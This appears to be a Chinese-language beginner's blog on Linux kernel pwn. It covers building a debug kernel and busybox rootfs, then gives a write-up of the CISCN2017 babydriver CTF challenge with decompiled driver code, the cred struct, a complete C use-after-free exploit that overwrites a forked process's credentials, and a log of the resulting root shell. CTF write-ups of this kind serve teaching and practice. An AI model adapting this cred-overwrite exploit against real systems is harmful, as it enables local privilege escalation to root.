kernel

kernel入门

自己的环境是16.04,出入kernel记录下,大佬勿喷。。

环境编译

下载kernel源代码:https://www.kernel.org/

按照必要的依赖

1
2
3
sudo apt-get update

sudo apt-get install build-essential libncurses5-dev

编译kernel源码

1
2
3
4
5
6
7
8
make menuconfig #遵循sakura大佬博客
#修改一些参数
进入kernel hacking
勾选以下项目
Kernel debugging
Compile-time checks and compiler options —> Compile the kernel with debug info和Compile the kernel with frame pointers
KGDB
(大部分是开着的,似乎后面几个选项有没开的

接着就是

1
make bzImage

编译的时间略有点长

1
2
3
4
Setup is 17244 bytes (padded to 17408 bytes).
System is 7666 kB
CRC 5c77cbfe
Kernel: arch/x86/boot/bzImage is ready (#1

出现这个就表示已经编译成功了。
因为是小白入坑教程,所以我想应该解释下什么是bzimage

vmlinux 编译出来的最原始的内核文件,未压缩。
zImage 是vmlinux经过gzip压缩后的文件。
bzImage bz表示“big zImage”

这样解释后应该清楚的多了。那么我们现在就已经有一个内核文件了,接下来创建文件系统。

编译busybox

1
2
3
4
5
6
(from sakura大佬 blog
wget https://busybox.net/downloads/busybox-1.27.2.tar.bz2
tar -jxvf busybox-1.27.2.tar.bz2
cd busybox-1.27.2
make menuconfig # Busybox Settings -> Build Options -> Build Busybox as a static binary
make install

在文件夹下会有_install文件

建立文件系统

1
2
3
4
5
cd _install
mkdir proc
mkdir sys
touch init
chmod +x init

写init文件

1
2
3
4
5
6
7
8
#!/bin/sh
mkdir /tmp
mount -t proc none /proc
mount -t sysfs none /sys
mount -t debugfs none /sys/kernel/debug
mount -t tmpfs none /tmp
mdev -s # We need this to find /dev/sda later
setsid /bin/cttyhack setuidgid 1000 /bin/sh

打包文件系统

1
2
3
4
#!/bin/sh
echo "Generate rootfs.img"
cd busybox # fs folder
find . | cpio -o --format=newc > ../rootfs.img

mount指令 挂载某个分区到某个文件,这样就将分区与文件建立联系从而访问文件时就可以访问分区。

以上参考:
Sakura大佬博客
501大佬博客

总结

关于这样的环境编译是为了大概理解一下为什么做题的时候会给3个文件.sh,bzimage,rootfs.cpio分别是启动脚本,kernel镜像以及文件系统映像。下面来分析一下具体的kernel题,主要注重在调试。

CISCN2017 - babydriver

讲到kernel pwn都会想到这个题目,那就分析一下这个题。题目文件有:

  1. boot.sh: 一个用于启动 kernel 的 shell 的脚本,多用 qemu,保护措施与 qemu 不同的启动参数有关
  2. bzImage: kernel binary
  3. rootfs.cpio: 文件系统映像

从上面看是没什么问题的,一般问题都会处在rootfs.cpio中的驱动上,这题也不例外,首先解包文件系统映像。

1
2
3
mkdir 随意什么名字下面用fs代替
mv ../rootfs.cpio ./
cpio -idmv < rootfs.cpio

这样就成功解包了,在查看init文件,因为这里会加载一些驱动,而驱动是出问题最大的地方。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
cat init
#!/bin/sh

mount -t proc none /proc
mount -t sysfs none /sys
mount -t devtmpfs devtmpfs /dev
chown root:root flag
chmod 400 flag
exec 0</dev/console
exec 1>/dev/console
exec 2>/dev/console

insmod /lib/modules/4.4.72/babydriver.ko#这里加载了驱动错意很可能是这里出了问题。
chmod 777 /dev/babydev
echo -e "\nBoot took $(cut -d' ' -f1 /proc/uptime) seconds\n"
setsid cttyhack setuidgid 1000 sh

umount /proc
umount /sys
poweroff -d 0 -f

静态分析.ko文件

把文件拖到ida中查看。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
int __fastcall babyrelease(inode *inode, file *filp)
{
__int64 v2; // rdx

_fentry__(inode, filp);
kfree(babydev_struct.device_buf);
printk("device release\n", filp, v2);
return 0;
}
#简单的free函数
int __fastcall babyopen(inode *inode, file *filp)
{
__int64 v2; // rdx

_fentry__(inode, filp);
babydev_struct.device_buf = (char *)kmem_cache_alloc_trace(kmalloc_caches[6], 37748928LL, 64LL);
babydev_struct.device_buf_len = 64LL;
printk("device open\n", 37748928LL, v2);
return 0;
}
#申请一块内存存放全局变量,并且定义device_bug_len为64.
__int64 __fastcall babyioctl(file *filp, unsigned int command, unsigned __int64 arg)
{
size_t v3; // rdx
size_t v4; // rbx
__int64 v5; // rdx
__int64 result; // rax

_fentry__(filp, *(_QWORD *)&command);
v4 = v3;
if ( command == 0x10001 )
{
kfree(babydev_struct.device_buf);
babydev_struct.device_buf = (char *)_kmalloc(v4, 0x24000C0LL);
babydev_struct.device_buf_len = v4;
printk("alloc done\n", 0x24000C0LL, v5);
result = 0LL;
}
else
{
printk(&unk_2EB, v3, v3);
result = -22LL;
}
return result;
}
#定一个了一命令0x10001在这个命令下会释放babydev_struct.device_buf结构并且重新分配一个由用户定义其大小。
void __fastcall babywrite(file *filp, const char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx

_fentry__(filp, buffer);
if ( babydev_struct.device_buf )
{
if ( babydev_struct.device_buf_len > v4 )
copy_from_user(babydev_struct.device_buf, buffer, v4);
}
}
#从这里看是从buffer赋值到全局变量。(这里有个坑,有时候ida分析的时候会出很多错误。)
void __fastcall babyread(file *filp, char *buffer, size_t length, loff_t *offset)
{
size_t v4; // rdx

_fentry__(filp, buffer);
if ( babydev_struct.device_buf )
{
if ( babydev_struct.device_buf_len > v4 )
copy_to_user(buffer, babydev_struct.device_buf, v4);
}
}
#与上面的操作正好相反。

主要的漏洞在条件竞争导致的一个UAF漏洞,因为babydev_struct 是全局的如果我们同时打开两个设备,然后释放第一个,其实第二个在编辑的时候就达到了一个uaf的作用。

==重点:申请堆块的大小需要和cred结构体一样这样我们释放之后在fork一个进程其cred结构体会利用我们之前释放的==

什么是cred结构体

是kernel中用来记录进程权限的,这个结构体中保存了该进程的权限等信息如(uid,gid)等,如果能修改这个结构体那么就修改了这个进程的权限。
源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};

那么接下来就是exp的编写,这个题目本身比较简单所以不需要动态调试,注意exp需要静态编译。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <stropts.h>
#include <sys/wait.h>
#include <sys/stat.h>

int main()
{
// 打开两次设备
int fd1 = open("/dev/babydev", 2);
int fd2 = open("/dev/babydev", 2);

// 修改结构体的大小为cred结构体的大小
ioctl(fd1, 0x10001, 0x8a);

// 释放 fd1
close(fd1);

// 新fork一个进程会复用之前所用的空间来储存cred结构体。
int pid = fork();
if(pid < 0)
{
puts("[*] error!");
exit(0);
}

else if(pid == 0)
{
// uaf来更改结构体的值
char buf[28] = {0};
write(fd2, buf, 28);

if(getuid() == 0)
{
puts("[+] good-you-get-it");
system("/bin/sh");
exit(0);
}
}

else
{
wait(NULL);
}
close(fd2);

return 0;
}

然后静态编译exp,再重新打包文件

1
2
3
cp exp fs/tmp
find . | cpio -o --format=newc > rootfs.cpio
#替换掉之前的文件系统即可。

最后拿到root后的log

1
2
3
4
5
6
7
8
9
10
11
/ $ cd home/ctf/
~ $ ls
exp exp.c
~ $ ./exp
[ 14.687284] device open
[ 14.691077] device open
[ 14.693858] alloc done
[ 14.697858] device release
[+] good-you-get-it.
/home/ctf # whoami
root

以上参考:
M4x大佬博客

总结

总体来说只是简单的介绍了一下,ctf环境等kernel pwn,其中bzimage的得到以及概念,还有文件映像的得到及使用。接着是一题简单uaf的练习。(大佬勿喷